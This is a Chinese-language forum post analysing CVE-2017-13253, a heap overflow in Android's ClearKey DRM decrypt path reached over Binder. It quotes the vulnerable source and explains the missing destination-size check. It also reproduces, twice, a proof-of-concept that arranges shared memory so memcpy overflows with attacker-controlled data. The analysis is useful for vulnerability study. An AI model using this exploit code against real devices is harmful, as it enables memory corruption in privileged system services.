android::BnCrypto::onTransact
android::CryptoHal::decrypt
clearkeydrm::CryptoPlugin::decrypt
开年上班以来,就在研究binder机制。正好碰到了一个和binder有点联系的漏洞。
原文博客链接:https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/
poc代码链接:https://github.com/tamirzb/CVE-2017-13253
前置知识:binder机制
堆溢出出现在/frameworks/av/drm/mediadrm/plugins/clearkey/CryptoPlugin.cpp中的
if (mode == kMode_Unencrypted) {
46 size_t offset = 0;
47 for (size_t i = 0; i < numSubSamples; ++i) {
48 const SubSample& subSample = subSamples[i];
49
50 if (subSample.mNumBytesOfEncryptedData != 0) {
51 errorDetailMsg->setTo(
52 "Encrypted subsamples found in allegedly unencrypted "
53 "data.");
54 return android::ERROR_DRM_DECRYPT;
55 }
56
57 if (subSample.mNumBytesOfClearData != 0) {
58 memcpy(reinterpret_cast<uint8_t*>(dstPtr) + offset,
59 reinterpret_cast<const uint8_t*>(srcPtr) + offset,
60 subSample.mNumBytesOfClearData); ----------------------->memcpy 溢出
61 offset += subSample.mNumBytesOfClearData;
62 }
63 }
64 return static_cast<ssize_t>(offset);
这个函数的上面一层函数是:
/hardware/interfaces/drm/1.0/default/CryptoPlugin.cpp中的 Return<void> CryptoPlugin::decrypt(bool secure,
59 const hidl_array<uint8_t, 16>& keyId,
60 const hidl_array<uint8_t, 16>& iv, Mode mode,
61 const Pattern& pattern, const hidl_vec<SubSample>& subSamples,
62 const SharedBuffer& source, uint64_t offset,
63 const DestinationBuffer& destination,
64 decrypt_cb _hidl_cb) {
65
110 。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
111
if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
115
116 uint8_t *base = static_cast<uint8_t *>
117 (static_cast<void *>(sourceBase->getPointer()));
118 void *srcPtr = static_cast<void *>(base + source.offset + offset);
119
120 void *destPtr = NULL;
121 if (destination.type == BufferType::SHARED_MEMORY) {
122 const SharedBuffer& destBuffer = destination.nonsecureMemory;
123 sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124 if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126 return Void();
127 }
128 destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset); 关键地方,确定destPtr
129 } else if (destination.type == BufferType::NATIVE_HANDLE) {
130 native_handle_t *handle = const_cast<native_handle_t *>(
131 destination.secureMemory.getNativeHandle());
132 destPtr = static_cast<void *>(handle);
133 }
134 ssize_t result = mLegacyPlugin->decrypt(secure, keyId.data(), iv.data(),
135 legacyMode, legacyPattern, srcPtr, legacySubSamples,
136 subSamples.size(), destPtr, &detailMessage); 这里调用
137
有几个关键的数据结构,SubSamples,SouceBuffer,DestinationBuffer比较抽象
frameworks/native/include/media/hardware/CryptoAPI.h
53 struct SubSample {
54 uint32_t mNumBytesOfClearData;
55 uint32_t mNumBytesOfEncryptedData;
56 };
57 frameworks\av\media\libmedia\include\media\ICrypto.h
51 struct SourceBuffer {
52 sp<IMemory> mSharedMemory;
53 int32_t mHeapSeqNum;
54 };
61 struct DestinationBuffer {
62 DestinationType mType;
63 native_handle_t *mHandle;
64 sp<IMemory> mSharedMemory;
65 };
66
这里引用了一下原文的图片。
图片地址:https://blog.zimperium.com/wp-content/uploads/2018/03/4-decrypt-params-example.png
从上图可知,source和destination都是属于shared memory的,而且是相邻的。其中source中的data数据是被分割成多个subSamples的。那这个堆溢出是如何产生的呢。
先看代码。
111 if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
115
116 uint8_t *base = static_cast<uint8_t *>
117 (static_cast<void *>(sourceBase->getPointer()));
118 void *srcPtr = static_cast<void *>(base + source.offset + offset);
111 if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
115
116 uint8_t *base = static_cast<uint8_t *>
117 (static_cast<void *>(sourceBase->getPointer()));
118 void *srcPtr = static_cast<void *>(base + source.offset + offset);
这几行代码是判断source的大小是否正确。是通过source.offset + offset(这个其实是subSamples起始地址偏移)+source.size进行判断的。
然后计算出源地址,srcPtr = base+source.offset+offset,也就是第一个subSamples的地址,这里还是正确的。
下面开始计算destination和dstPtr的地址。
121 if (destination.type == BufferType::SHARED_MEMORY) {
122 const SharedBuffer& destBuffer = destination.nonsecureMemory;
123 sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124 if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126 return Void();
127 }
128 destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset);
121 if (destination.type == BufferType::SHARED_MEMORY) {
122 const SharedBuffer& destBuffer = destination.nonsecureMemory;
123 sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124 if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126 return Void();
127 }
128 destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset);
121行代码判断缓冲区类型,这里是SHARED_MEMORY,进入122。
也是先计算destBuffer的大小是否正确。ok,这里计算是正确的。
然后计算destPtr的地址,destPtr = base + offset。---------->这里的base其实就是source的起始地址。根据上面那个图,可知。这样计算也是正确的。这样看来确实都是正常的,不存在漏洞。
但是感觉大牛总是能构造出具有bug的代码。
继续看上一层函数:/frameworks/av/drm/libmediadrm/ICrypto.cpp 中的
237status_t BnCrypto::onTransact(
238 uint32_t code, const Parcel &data, Parcel *reply, uint32_t flags) {
239 switch (code) {
。。。。。。。。。。。。
。。。。。。。。。。。。。。。。
309 case DECRYPT:
310 {
311 CHECK_INTERFACE(ICrypto, data, reply);
312
313 CryptoPlugin::Mode mode = (CryptoPlugin::Mode)data.readInt32();
314 CryptoPlugin::Pattern pattern;
315 pattern.mEncryptBlocks = data.readInt32();
316 pattern.mSkipBlocks = data.readInt32();
317
318 uint8_t key[16];
319 data.read(key, sizeof(key));
320
321 uint8_t iv[16];
322 data.read(iv, sizeof(iv));
323
324 size_t totalSize = data.readInt32();
325
326 SourceBuffer source;
327
328 source.mSharedMemory =
329 interface_cast<IMemory>(data.readStrongBinder());
330 if (source.mSharedMemory == NULL) {
331 reply->writeInt32(BAD_VALUE);
332 return OK;
333 }
334 source.mHeapSeqNum = data.readInt32();
335
336 int32_t offset = data.readInt32();
337
338 int32_t numSubSamples = data.readInt32();
339 if (numSubSamples < 0 || numSubSamples > 0xffff) {
340 reply->writeInt32(BAD_VALUE);
341 return OK;
342 }
343
344 CryptoPlugin::SubSample *subSamples =
345 new CryptoPlugin::SubSample[numSubSamples];
346
347 data.read(subSamples,
348 sizeof(CryptoPlugin::SubSample) * numSubSamples);
349
350 DestinationBuffer destination;
351 destination.mType = (DestinationType)data.readInt32();
352 if (destination.mType == kDestinationTypeNativeHandle) {
353 destination.mHandle = data.readNativeHandle();
354 if (destination.mHandle == NULL) {
355 reply->writeInt32(BAD_VALUE);
356 return OK;
357 }
358 } else if (destination.mType == kDestinationTypeSharedMemory) { 判断destination的类型就结束了,没有大小的判断
359 destination.mSharedMemory =
360 interface_cast<IMemory>(data.readStrongBinder());
361 if (destination.mSharedMemory == NULL) {
362 reply->writeInt32(BAD_VALUE);
363 return OK;
364 }
365 }
366
367 AString errorDetailMsg;
368 ssize_t result;
369
370 size_t sumSubsampleSizes = 0;
371 bool overflow = false;
372 for (int32_t i = 0; i < numSubSamples; ++i) { 这里会相加多个subSamples,并判断是否超出
373 CryptoPlugin::SubSample &ss = subSamples[i];
374 if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfEncryptedData) {
375 sumSubsampleSizes += ss.mNumBytesOfEncryptedData;
376 } else {
377 overflow = true;
378 }
379 if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfClearData) {
380 sumSubsampleSizes += ss.mNumBytesOfClearData;
381 } else {
382 overflow = true;
383 }
384 }
385
386 if (overflow || sumSubsampleSizes != totalSize) {
387 result = -EINVAL;
388 } else if (totalSize > source.mSharedMemory->size()) {
389 result = -EINVAL;
390 } else if ((size_t)offset > source.mSharedMemory->size() - totalSize) { 这里判断了source的大小,这个totalSize就是要处理subSamples的大小总和。
391 result = -EINVAL;
392 } else {
393 result = decrypt(key, iv, mode, pattern, source, offset,
394 subSamples, numSubSamples, destination, &errorDetailMsg);
395 }
356行代码开始只是判断了destination的类型,并没有判断destination.offset加上total值是否大于destination.size。这里total值就是要处理的解密数据总和。因此在最上面那个函数里面发送了溢出。
这里再次引用原文的图片,更加直观。 https://blog.zimperium.com/wp-content/uploads/2018/03/10-overflow.png
ok。到此,算是把别人的文章分析了一遍。不过个人认为还是调试一下看看会更加清晰。
先上poc代码:
sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE); 申请一个heap块。
// This line is to merely show that we have full control over the data
// written in the overflow.
memset(heap->getBase(), 'A', DATA_SIZE); 这里填充heap,大小为0x2000
sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE); 源内存,设置了offset为0,大小为0x2000也就是total共0x2000
sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
DEST_OFFSET); 目的内存,设置偏移比较巧妙,正好是DATA_SIZE - DEST_OFFSET,大小为DEST_OFFSET,这样设置的目的正好可以保证第二个函数中对destination的检测是正确的。
int heapSeqNum = crypto->setHeap(heap);
if (heapSeqNum < 0) {
fprintf(stderr, "setHeap failed.\n");
return;
}
下面这些代码都是设置一些decrypt函数的相关参数。只需保证能通过函数检查就行。
CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
.mHeapSeqNum = heapSeqNum };
// mNumBytesOfClearData is the actual size of data to be copied.
CryptoPlugin::SubSample subSamples[] = { {
.mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
ICrypto::DestinationBuffer destination = {
.mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
.mSharedMemory = destMemory };
printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
ARRAY_SIZE(subSamples), destination, NULL)); 然后就ipc调用decrypt函数
poc调用了很多头文件是来自源码中的。单纯的ndk是无法编译的。
sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE); 申请一个heap块。
// This line is to merely show that we have full control over the data
// written in the overflow.
memset(heap->getBase(), 'A', DATA_SIZE); 这里填充heap,大小为0x2000
sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE); 源内存,设置了offset为0,大小为0x2000也就是total共0x2000
sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
DEST_OFFSET); 目的内存,设置偏移比较巧妙,正好是DATA_SIZE - DEST_OFFSET,大小为DEST_OFFSET,这样设置的目的正好可以保证第二个函数中对destination的检测是正确的。
int heapSeqNum = crypto->setHeap(heap);
if (heapSeqNum < 0) {
fprintf(stderr, "setHeap failed.\n");
return;
}
下面这些代码都是设置一些decrypt函数的相关参数。只需保证能通过函数检查就行。
CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
.mHeapSeqNum = heapSeqNum };
// mNumBytesOfClearData is the actual size of data to be copied.
CryptoPlugin::SubSample subSamples[] = { {
.mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
ICrypto::DestinationBuffer destination = {
.mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
.mSharedMemory = destMemory };
printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
ARRAY_SIZE(subSamples), destination, NULL)); 然后就ipc调用decrypt函数
poc调用了很多头文件是来自源码中的。单纯的ndk是无法编译的。
git上面有编译方法。请参考。
代码得来终觉浅,绝知此洞要调试
调试吧。android应用层调试。开始配置调试环境。
ubuntu物理机。
源码要求:8.0以上。
调试机器:笔者使用的是nexus5x。不要使用模拟器调试,有坑的。!!!!!!!
编译源码和刷机就不讲了,玩漏洞的你应该懂怎么配置环境了。不知道的,坛子里有相关帖子。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-3-23 01:30
被ID蝴蝶编辑
,原因: